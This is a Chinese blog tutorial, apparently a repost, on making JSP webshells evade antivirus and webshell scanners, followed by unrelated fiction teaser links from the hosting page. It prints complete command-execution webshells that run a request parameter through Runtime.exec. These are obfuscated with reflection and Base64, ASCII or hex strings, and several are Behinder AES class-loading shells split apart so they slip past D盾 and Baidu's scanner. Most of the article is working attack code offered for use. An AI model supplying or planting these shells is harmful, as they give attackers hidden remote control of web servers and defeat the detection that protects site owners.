WebShell免杀之JSP ——yzddMr6

原文地址:https://yzddmr6.tk/posts/webshell-bypass-jsp/

本文已授权悬剑武器库转载

前言

其他类型的webshell容易免杀的一个主要原因是有eval函数,能够把我们的加密几层后的payload进行解密然后用eval执行,从而绕过杀软的检测。

然而由于JSP的语法没有所谓的eval函数,不像php等语言那么灵活,变形困难,所以JSP的免杀马比较少,相关的文章也比较少。

能找到的公开文章中,LandGrey大佬的这一篇文章写的非常好,利用Java反射机制和Java类加载机制来构造免杀的JSP后门。

但是文章中部分细节仅为一笔带过,对于没有学过JAVA的同学不太友好。并且这篇文章写在冰蝎出现之前,没有对冰蝎JSPshell免杀的相关内容。所以今天这篇文章就跟大家一起分享一下JSP的免杀姿势。

基础知识

JSP标签

在JSP页面中嵌入java代码,首先要了解一下JSP标签的基本知识。

<%@ %>    页面指令,设定页面属性和特征信息
<% %>     java代码片段,不能在此声明方法
<%! %>    java代码声明,声明全局变量或当前页面的方法
<%= %>    Java表达式

JSP中的字符串混淆方式

ASCII

    String a=new String(new byte[] { 121, 122, 100, 100, 77, 114, 54 });
    System.out.println("ASCII: "+a);

HEX

import javax.xml.bind.DatatypeConverter;
      String b= new String(DatatypeConverter.parseHexBinary("797a64644d7236"));
      System.out.println("HEX: "+b);

BASE64

import sun.misc.BASE64Decoder;
    String c = new String(new BASE64Decoder().decodeBuffer("eXpkZE1yNg=="));
    System.out.println("BASE64: "+c);
image

类反射

首先要知道为什么免杀需要用到类反射

类反射可以把我们想要调用的函数或者类的名字放到一个字符串的位置。

此时也就相当于我们实现了php中的变量函数,就可以利用base64编码或者hex编码等来混淆关键函数。

例子参考大白话说Java反射

使用反射调用对象方法的步骤

Class clz = Class.forName("test.Apple"); // 获取类的 Class 对象实例

Constructor appleConstructor = clz.getConstructor(); // 根据 Class 对象实例获取 Constructor 对象

Object appleObj = appleConstructor.newInstance();// 使用 Constructor 对象的 newInstance 方法获取反射类对象

Method setPriceMethod = clz.getMethod("setPrice", int.class); // 获取方法的 Method 对象

setPriceMethod.invoke(appleObj, 14); // 利用 invoke 方法调用方法

如果没有构造函数的情况下就更简单了

Class clz = Class.forName("test.Apple"); // 获取类的 Class 对象实例

Object appleObj=clz.newInstance();// 直接获得clz类的一个实例化对象

Method setPriceMethod = clz.getMethod("setPrice", int.class); // 获取方法的 Method 对象

setPriceMethod.invoke(appleObj, 14); // 利用 invoke 方法调用方法
image

从图中可以看到,我们用类反射调用了Apple类中的setPrice跟getPrice方法。

其实也可以压缩一下写成一行的形式

Class.forName("test.Apple").getMethod("setPrice", int.class).invoke(Class.forName("test.Apple").newInstance(),20);

不过当然正常人是不会这么写的。

类加载

在LandGrey大佬的文章中提到的类加载的意思是将获得Class对象的方式由
Class rt= Class.forName("java.lang.Runtime"); 改成
Class rt = ClassLoader.getSystemClassLoader().loadClass("java.lang.Runtime");的形式。

但是冰蝎作者在利用动态二进制加密实现新型一句话木马之Java篇中对于类加载是直接传送二进制字节码。

这也是为什么冰蝎能够实现不到1KB的JSP一句话的原因:冰蝎可以做到动态解析二进制class字节码。

学过java的同学应该都知道,java执行代码的时候都要先编译生成.class字节码文件,才能被jvm所执行。

那么也就是说,如果我们能够实现任意class文件的加载,也就相当于实现了php中的eval函数。

我们就用冰蝎中的例子

首先写一个命令执行的类,调一个calc,但是我们不写主函数,也就是说我们先不让他运行。

package test;
import java.io.IOException;
public class calc {
    @Override
    public String toString() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return "OK";
    }
}

在项目里生成之后,在out目录下可以看到编译好的二进制class文件。

image

然后把它base64,保存到文件里,去除多余的换行

image

接着生成一个loader类,用于加载我们的class文件

package test;
import sun.misc.BASE64Decoder;
public class loader {
    public static class Myloader extends ClassLoader //继承ClassLoader
    {
        public  Class get(byte[] b)
        {
            return super.defineClass(b, 0, b.length);
        }
    }
    public static void main(String[] args) throws Exception {
        String classStr="xxxxxxxxxxxxxxxxx"; // class的base64编码
        BASE64Decoder code=new sun.misc.BASE64Decoder();
        Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
        System.out.println(result.newInstance().toString());
    }
}

运行后成功调用计算器。


image

我们用类加载的方式成功执行了系统命令。

对命令执行JSP一句话免杀

JAVA执行系统命令的核心就是Runtime.getRuntime().exec(cmd)

原型

<% if("023".equals(request.getParameter("pwd"))){ 
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b,0,a));
        }
        out.print("</pre>");
    }
%>
image

经过二分法分析,发现特征码是在Runtime.getRuntime().exec这一句。不知道什么是二分法分析的看我以前的两篇webshell免杀文章。

然后发现D盾对于JSP中只要有exec就会报一级。

image

那么我们就可以利用类反射的方法来隐藏掉exec函数。

类反射绕过

package test;
import java.lang.reflect.Method;
import java.util.Scanner;

public class Test {
    public static void main(String[] args) throws Exception {
        String op = "";
        Class rt = Class.forName("java.lang.Runtime"); //加载Runtime类
        Method gr = rt.getMethod("getRuntime");  //获取getRuntime方法
        Method ex = rt.getMethod("exec", String.class);  //获取exec方法
        Process e = (Process) ex.invoke(gr.invoke(null),  "cmd /c whoami"); //invoke 传参调用
        //以下代码是获取输出结果
        Scanner sc = new Scanner(e.getInputStream()).useDelimiter("\\A"); 
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
        System.out.print(op);
    }
}

可以看到成功执行了whoami命令

image

那么接下来就是把他放到jsp里面。

利用base64编码

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
    if(request.getParameter("cmd")!=null){
        BASE64Decoder decoder = new BASE64Decoder();
        Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
        Process e = (Process)
                rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
                        String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
                        Object[]{}), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
image
image
image

可以bypass D盾跟百度scanner,下面的都是免杀的,就不截图了。

利用ASCII编码

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%
    if(request.getParameter("cmd")!=null){
        Class rt = Class.forName(new String(new byte[] { 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101 }));
        Process e = (Process) rt.getMethod(new String(new byte[] { 101, 120, 101, 99 }), String.class).invoke(rt.getMethod(new String(new byte[] { 103, 101, 116, 82, 117, 110, 116, 105, 109, 101 })).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("<pre>");
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
    }
%>

利用HEX编码

<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
    if(request.getParameter("cmd")!=null){
        Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
        Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("65786563")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
        java.io.InputStream in = e.getInputStream();
        int a = -1;byte[] b = new byte[2048];out.print("<pre>");
        while((a=in.read(b))!=-1){ out.println(new String(b)); }out.print("</pre>");
    }
%>

寻找其他类

java中与执行命令相关的主要有两个类

java.lang.Runtime
java.lang.ProcessBuilder

我们上文中反射了Runtime类,那么同样我们也可以反射ProcessBuilder类。

原理是相同的,此处不再具体举例实现。

对于冰蝎JSP一句话的免杀

冰蝎JSP一句话的实现是我最佩服的一点,也是我今后想要加入到蚁剑中的功能。

由于冰蝎中改写的是Object类,所以几乎全部都是非敏感函数。目前各大杀软查杀的规则也并不是特别完善,其实特别容易免杀。

免杀D盾

经过二分法查找特征码,D盾对于冰蝎的查杀规则是这一句

new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);

为了简洁冰蝎作者把很多东西都写到一行里了。那么我们就把其中的变量拆出来试试。
把base64解密那一块给抠出来,实例化给decoder变量。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);
out.print(k);return;}
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
BASE64Decoder decoder=new sun.misc.BASE64Decoder();
new U(this.getClass().getClassLoader()).g(c.doFinal(decoder.decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

就已经可以过D盾了

image

经过测试随便拆其他的也可以,再拆一个uploadString

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);
out.print(k);return;}
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));
 String uploadString= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);%>

也可以免杀


image

免杀百度scanner

拆最后一句免杀不了scanner


image

经过测试scanner识别冰蝎的特征在这一句

c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));

那就再把这一句给拆了

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);
out.print(k);return;}
Cipher c=Cipher.getInstance("AES");
SecretKeySpec sec=new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES");
 c.init(2,sec);
 String uploadString= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);%>

这时候就可以两个都免杀了

image
image

最后

其实还有很多方式值得去探索,就比如命令执行一句话那里。

我们可以在shell里只放类加载函数,而不含具体的payload。

然后写一个命令类,类里接收一个String类型的参数,作为所要执行的cmd语句。然后把它编译成二进制class,通过GET型或者POST型传过去。

其中cmd参数也从GET传入,经过shell发送到命令执行类中,就相当于实现了php中形如
http://test.com/shell.php?func=system&cmd=whoami 的回调函数后门。

其中有一个师傅已经实现了菜刀的远程加载类,文章地址:http://p2j.cn/?p=1627

不过所有的jar包都放在作者的博客上,也就是说每个shell都会先访问他的博客,还是建议自己搭建。

套路都是差不多的,自己多动手,想一想,你肯定能做的比我更好。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,937评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,503评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,712评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,668评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,677评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,601评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,975评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,637评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,881评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,621评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,710评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,387评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,971评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,947评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,189评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,805评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,449评论 2 342